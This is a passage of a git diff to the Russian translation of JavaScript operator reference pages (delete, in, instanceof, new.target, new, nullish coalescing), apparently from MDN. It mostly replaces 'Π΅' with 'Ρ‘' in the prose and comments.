Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ использования простых ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π² качСствС ассоциативных массивов. Π’ Internet Explorer, ΠΊΠΎΠ³Π΄Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ свойства установлСно Π² undefined, послС удалСния этого свойства, Ссли ΠΊΡ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΏΠΎΠ·ΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ свойство с Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠ½ΠΎ окаТСтся Π² своСй <em>старой</em> ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π° Π½Π΅ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΊΠ°ΠΊ оТидаСтся.</p>
-<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ упорядочСнный ассоциативный массив Π² кроссбраузСрной срСдС, Π²Π°ΠΌ придСтся Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… массива (ΠΎΠ΄ΠΈΠ½ для ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΈ ΠΎΠ΄ΠΈΠ½ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ), Π»ΠΈΠ±ΠΎ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ массив ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΎΠ΄Π½ΠΈΠΌ свойством ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ, Ссли Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΈΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ упорядочСнный ассоциативный массив Π² кроссбраузСрной срСдС, Π²Π°ΠΌ придётся Π»ΠΈΠ±ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… массива (ΠΎΠ΄ΠΈΠ½ для ΠΊΠ»ΡŽΡ‡Π΅ΠΉ ΠΈ ΠΎΠ΄ΠΈΠ½ для Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ), Π»ΠΈΠ±ΠΎ ΠΏΠΎΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ массив ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² с ΠΎΠ΄Π½ΠΈΠΌ свойством ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<h2 id="Specification" name="Specification">Π’Π½Π΅ΡˆΠ½ΠΈΠ΅ ссылки</h2>
diff --git a/files/ru/web/javascript/reference/operators/in/index.html b/files/ru/web/javascript/reference/operators/in/index.html
index 7260b5913e..7570704fb8 100644
--- a/files/ru/web/javascript/reference/operators/in/index.html
+++ b/files/ru/web/javascript/reference/operators/in/index.html
@@ -58,7 +58,7 @@ var color2 = "coral";
"length" in color2
</pre>
-<h3 id="ИспользованиС_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°_in_с_Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ_ΠΈΠ»ΠΈ_с_ΡƒΠΆΠ΅_ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌΠΈ_свойствами">ИспользованиС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>in</code> с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ с ΡƒΠΆΠ΅ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌΠΈ свойствами</h3>
+<h3 id="ИспользованиС_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°_in_с_Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ_ΠΈΠ»ΠΈ_с_ΡƒΠΆΠ΅_ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ_свойствами">ИспользованиС ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>in</code> с Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ с ΡƒΠΆΠ΅ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ свойствами</h3>
<p>Если Π²Ρ‹ ΡƒΠ΄Π°Π»ΠΈΠ»ΠΈ свойство ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code style="font-style: normal;"><a href="/ru/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code>, Ρ‚ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>in</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‚ΠΈΡ‚ <code>false</code> для этого свойства.</p>
@@ -71,7 +71,7 @@ delete trees[3];
3 in trees; // false
</pre>
-<p>Если Π²Ρ‹ Π·Π°Π΄Π°Π΄ΠΈΡ‚Π΅ свойству Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{jsxref("Global_Objects/undefined", "undefined")}}, Π½ΠΎ Π½Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Π΅Π³ΠΎ, Ρ‚ΠΎ для этого свойства ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>in</code> Π²Π΅Ρ€Π½Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>.</p>
+<p>Если Π²Ρ‹ Π·Π°Π΄Π°Π΄ΠΈΡ‚Π΅ свойству Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β {{jsxref("Global_Objects/undefined", "undefined")}}, Π½ΠΎ Π½Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Π΅Π³ΠΎ, Ρ‚ΠΎ для этого свойства ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>in</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>true</code>.</p>
<pre class="brush:js">var mycar = {make: "Honda", model: "Accord", year: 1998};
mycar.make = undefined;
diff --git a/files/ru/web/javascript/reference/operators/instanceof/index.html b/files/ru/web/javascript/reference/operators/instanceof/index.html
index dd264b0a07..a9274710e2 100644
--- a/files/ru/web/javascript/reference/operators/instanceof/index.html
+++ b/files/ru/web/javascript/reference/operators/instanceof/index.html
@@ -109,7 +109,7 @@ myDate instanceof String; // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ false
<h3 id="ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚_Ρ‡Ρ‚ΠΎ_mycar_ΠΈΠΌΠ΅Π΅Ρ‚_Ρ‚ΠΈΠΏ_Car_ΠΈ_Ρ‚ΠΈΠΏ_Object">ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎΒ <code>mycar</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ <code>Car</code> ΠΈ Ρ‚ΠΈΠΏΒ <code>Object</code></h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаСт Ρ‚ΠΈΠΏ <code>Car</code>Β ΠΈ экзСмпляр этого Ρ‚ΠΈΠΏΠ°, <code>mycar</code>. ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>instanceof</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>mycar</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ <code>Car</code>Β ΠΈ Ρ‚ΠΈΠΏΒ <code>Object</code>.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ создаёт Ρ‚ΠΈΠΏ <code>Car</code>Β ΠΈ экзСмпляр этого Ρ‚ΠΈΠΏΠ°, <code>mycar</code>. ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Β <code>instanceof</code> ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>mycar</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏΒ <code>Car</code>Β ΠΈ Ρ‚ΠΈΠΏΒ <code>Object</code>.</p>
<pre class="brush: js">function Car(make, model, year) {
this.make = make;
diff --git a/files/ru/web/javascript/reference/operators/new.target/index.html b/files/ru/web/javascript/reference/operators/new.target/index.html
index bab9b8e956..5feccb7b52 100644
--- a/files/ru/web/javascript/reference/operators/new.target/index.html
+++ b/files/ru/web/javascript/reference/operators/new.target/index.html
@@ -47,8 +47,8 @@ Foo(); // ошибка "Foo() must be called with new"
class B extends A { constructor() { super(); } }
-var a = new A(); // Π²Π΅Ρ€Π½Π΅Ρ‚ "A"
-var b = new B(); // Π²Π΅Ρ€Π½Π΅Ρ‚ "B"
+var a = new A(); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ "A"
+var b = new B(); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ "B"
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/operators/new/index.html b/files/ru/web/javascript/reference/operators/new/index.html
index b6f4ed80b7..6afdd75f04 100644
--- a/files/ru/web/javascript/reference/operators/new/index.html
+++ b/files/ru/web/javascript/reference/operators/new/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Operators/new
---
<div>{{jsSidebar("Operators")}}</div>
-<p><strong>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ </strong>(опСраторная функция)<strong> <code>new</code></strong> создаСт экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, встроСнного ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π³ΠΎ конструктор.</p>
+<p><strong>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ </strong>(опСраторная функция)<strong> <code>new</code></strong> создаёт экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, встроСнного ΠΈΠ»ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅Π³ΠΎ конструктор.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Operators/new
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄Π²Π° шага:</p>
+<p>Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ, Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π΄Π²Π° шага:</p>
<ol>
<li>ΠΠ°ΠΏΠΈΡΠ°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, которая задаст Ρ‚ΠΈΠΏ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</li>
@@ -41,14 +41,14 @@ translation_of: Web/JavaScript/Reference/Operators/new
<p>Когда исполняСтся <code>new <em>Foo</em>(...)</code>Β , происходит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ol>
- <li>БоздаСтся Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ <code><em>Foo</em>.prototype.</code></li>
+ <li>Боздаётся Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ <code><em>Foo</em>.prototype.</code></li>
<li>ВызываСтся конструктор β€” функция <code><em>Foo</em></code> с ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌΠΈ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΈΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a>, привязанным ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданному ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ</code>. <code>new F<em>oo</em></code> эквивалСнтно <code>new </code><em>F<code>oo</code></em><code>()</code>, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Ссли Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹, Foo вызываСтся Π±Π΅Π· Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ².</li>
- <li>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выраТСния new становится ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΉ конструктором. Если конструктор Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ явно,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΠΏ. 1. (ΠžΠ±Ρ‹Ρ‡Π½ΠΎ конструкторы Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ это, Ссли Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ процСсс создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².)</li>
+ <li>Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ выраТСния new становится ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΉ конструктором. Если конструктор Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ явно,Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠ· ΠΏ. 1. (ΠžΠ±Ρ‹Ρ‡Π½ΠΎ конструкторы Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π½ΠΎ ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ это, Ссли Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ процСсс создания ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².)</li>
</ol>
<p>ВсСгда ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊ ΡƒΠΆΠ΅ созданному ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ. НапримСр,Β <code>car1.color = "black"</code> добавляСт свойство <code>color</code>Β ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΡƒΒ <code>car1</code>, ΠΈ присваиваСт Π΅ΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β "<code>black</code>". Π­Ρ‚ΠΎ Π½Π΅ Π·Π°Ρ‚Ρ€Π°Π³ΠΈΠ²Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊΠΎ всСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Ρ‚ΠΈΠΏΠ°, Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° Car.</p>
-<p>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Π­Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ свойство для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², созданных этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ экзСмпляра. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ добавляСт свойство color со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>null</code> всСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Ρ‚ΠΈΠΏΠ°Β <code>car</code>, Π° ΠΏΠΎΡ‚ΠΎΠΌ мСняСт Π΅Π³ΠΎ Π½Π° Β "<code>black</code>" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ экзСмпляра <code>car1</code>. Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p>
+<p>Π”ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свойство ΠΊ Ρ€Π°Π½Π΅Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ Ρ‚ΠΈΠΏΡƒ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>. Π­Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ свойство для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², созданных этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ Ρƒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ экзСмпляра. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ добавляСт свойство color со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>null</code> всСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Ρ‚ΠΈΠΏΠ°Β <code>car</code>, Π° ΠΏΠΎΡ‚ΠΎΠΌ мСняСт Π΅Π³ΠΎ Π½Π° Β "<code>black</code>" Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρƒ экзСмпляра <code>car1</code>. Π‘ΠΎΠ»ΡŒΡˆΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p>
<pre class="brush: js">function Car() {}
car1 = new Car();
@@ -80,7 +80,7 @@ console.log(car1.color); // black
<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
</pre>
-<p>Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаСт экзСмпляр <code>mycar</code>Β ΠΈ присваиваСт Π΅Π³ΠΎ свойствам ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ значСния. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β <code>mycar.make</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β "Eagle", <code>mycar.year</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1993, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Π­Ρ‚ΠΎ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ создаёт экзСмпляр <code>mycar</code>Β ΠΈ присваиваСт Π΅Π³ΠΎ свойствам ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ значСния. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,Β <code>mycar.make</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β "Eagle", <code>mycar.year</code> ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 1993, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<p>МоТно ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ любоС количСство экзСмпляров <code>car</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Β <code>new</code>. НапримСр:</p>
diff --git a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
index 71484f05a1..a8482f38c8 100644
--- a/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
+++ b/files/ru/web/javascript/reference/operators/nullish_coalescing_operator/index.html
@@ -131,7 +131,7 @@ console.log(foo.someBarProp?.toUpperCase()); // undefined
<h3 id="ΠŸΡ€ΠΎΠ³Ρ€Π΅ΡΡ_Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ">ΠŸΡ€ΠΎΠ³Ρ€Π΅ΡΡ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ</h3>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΎ Π΅ΠΆΠ΅Π΄Π½Π΅Π²Π½ΠΎΠ΅ состояниС Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ эта функция Π΅Ρ‰Π΅ Π½Π΅ достигла ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π”Π°Π½Π½Ρ‹Π΅ Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ запуска ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… тСстов Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π² <a href="https://github.com/tc39/test262">Test262</a>, стандартном Π½Π°Π±ΠΎΡ€Π΅ тСстов JavaScript, Π² Π½ΠΎΡ‡Π½ΠΎΠΉ сборкС ΠΈΠ»ΠΈ Π² послСднСй вСрсии Π΄Π²ΠΈΠΆΠΊΠ° JavaScript ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
